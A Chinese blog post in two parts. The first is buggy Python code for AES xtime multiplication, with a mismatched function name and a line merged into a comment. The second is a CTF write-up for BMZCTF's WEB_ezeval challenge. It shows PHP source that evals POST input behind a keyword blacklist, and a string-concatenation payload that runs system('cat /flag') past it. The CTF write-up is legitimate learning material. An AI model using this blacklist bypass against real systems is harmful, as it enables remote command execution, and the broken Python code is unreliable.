略说程序的简单与暴力

一, 简答的暴力

就在我学习python的这段时间里,有个密码学的数学问题“混入”了我的视野——AES列混淆的X乘。X乘本身就是为了计算机而设计的数学原理,于是我就那么简单的试了试,稍微编了”亿“下,不知不觉中就过去了几个小时,好吧,我很菜,请见谅。
因为原理很简单,所以我就没有多想,直接用了最粗俗的、暴力的程序语言直接将它编写出来了。
噢,顺便把原理说一下吧。
在G(2^8)域上通过多项式乘法,进行字节运算。
b7=0的时候左移一位
b7=1的时候左移一位,再异或一个不可约多项式。
听起来很贱单(额,我就是故意打错的),做起来……
下面附上代码:

def MixColumnbytes():
    a1=eval(input("请输入运算字节:"))#定义字节
    a2=0
    b1=bin(a1)
#print(b1)#与后期转换列表对照
    list_b1=list(b1)
    if len(list_b1)<10:
        for i in range(10-len(list_b1)):
            list_b1.insert(2,"0")
#print(list_b1)#将b1写入列表
    list2=[]
#循环左移
    for i in range(len(list_b1)):
        list2.append(list_b1[i+3])
        if i==len(list_b1)-4:
            if len(list2)<8:
                for i in range(8-len(list2)):
                    list2.append("0")
            break
#print(list2)检查循环左移情况
#分情况Xif(list_b1[2]=='0'):
        for i in range(len(list2)):
            a2 += 2 **i* int(list2[7 - i])
        a1 =hex(a2)
        return a1
    elif (list_b1[2]=='1'):
        for i in range(len(list2)):
            a2 += 2 **i* int(list2[7 - i])
        a1=hex(a2^27)
        return a1
    else:
        return a1
if __name__=="__main__":
    print(MixColumnsbytes())

在这个例子当中我用了最暴力的方式做最简单的事情,却将简单的事情复杂化了,至少我是这么认为的。可以去翻一下其他大佬的博客,他们都有讲到X乘怎样写最有效率,最符合实际,在这里就过多赘述了。

二,暴力的简单

前段时间在BMZCTF公开赛上看见了这样一道题(目前公开赛题目已上传到靶场,可自行前往练习)WEB_ezeval,一道黑名单及其粗暴的题目,不得不说还是我才疏学浅,连这样的黑名单都没办法绕过。
b l a c k l i s t = a r r a y ( ′ p h p ′ , ′ e c h o ′ , ′ ‘ ′ , ′ p r e g ′ , ′ s e r v e r ′ , ′ c h r ′ , ′ d e c o d e ′ , ′ h t m l ′ , ′ m d 5 ′ , ′ p o s t ′ , ′ g e t ′ , ′ f i l e ′ , ′ s e s s i o n ′ , ′ a s c i i ′ , ′ e v a l ′ , ′ r e p l a c e ′ , ′ a s s e r t ′ , ′ e x e c ′ , ′ c o o k i e ′ , ′ black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie',' blacklist=array(php,echo,,preg,server,chr,decode,html,md5,post,get,file,session,ascii,eval,replace,assert,exec,cookie,',‘include’,‘var’,‘print’,‘scan’,‘decode’,‘system’,‘func’,‘ini_’,‘passthru’,‘pcntl’,‘open’,‘link’,‘log’,‘current’,‘local’,‘source’,‘require’,‘contents’);
当时苦思冥想了许久,还是大佬厉害,反正“大佬”什么都会。下面附上源码和playload.

<?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($cmd); $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents'); $cmd = str_ireplace($black_list,"BMZCTF",$cmd); eval($cmd); ?>

直接POST
cmd=array_map(‘s’.‘ystem’,[‘cat /flag’])
当然你可以先用常见的套路(ls,ls /等)查看flag的位置,然后随你便了,反正这都不是重点。重点在于黑名单太过“简单”,似乎根本无法过滤完所有的可能性,可是就是这样一种简单的方法依旧具有冗余的方面,那就是过于暴力的复现过滤的手段了。我想程序员也想过这样的情况,不然就不会有白名单一说了。

三, 学习路漫漫

学习之路永不停息,我是这周末在做梦,谢谢观看我的吐槽。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值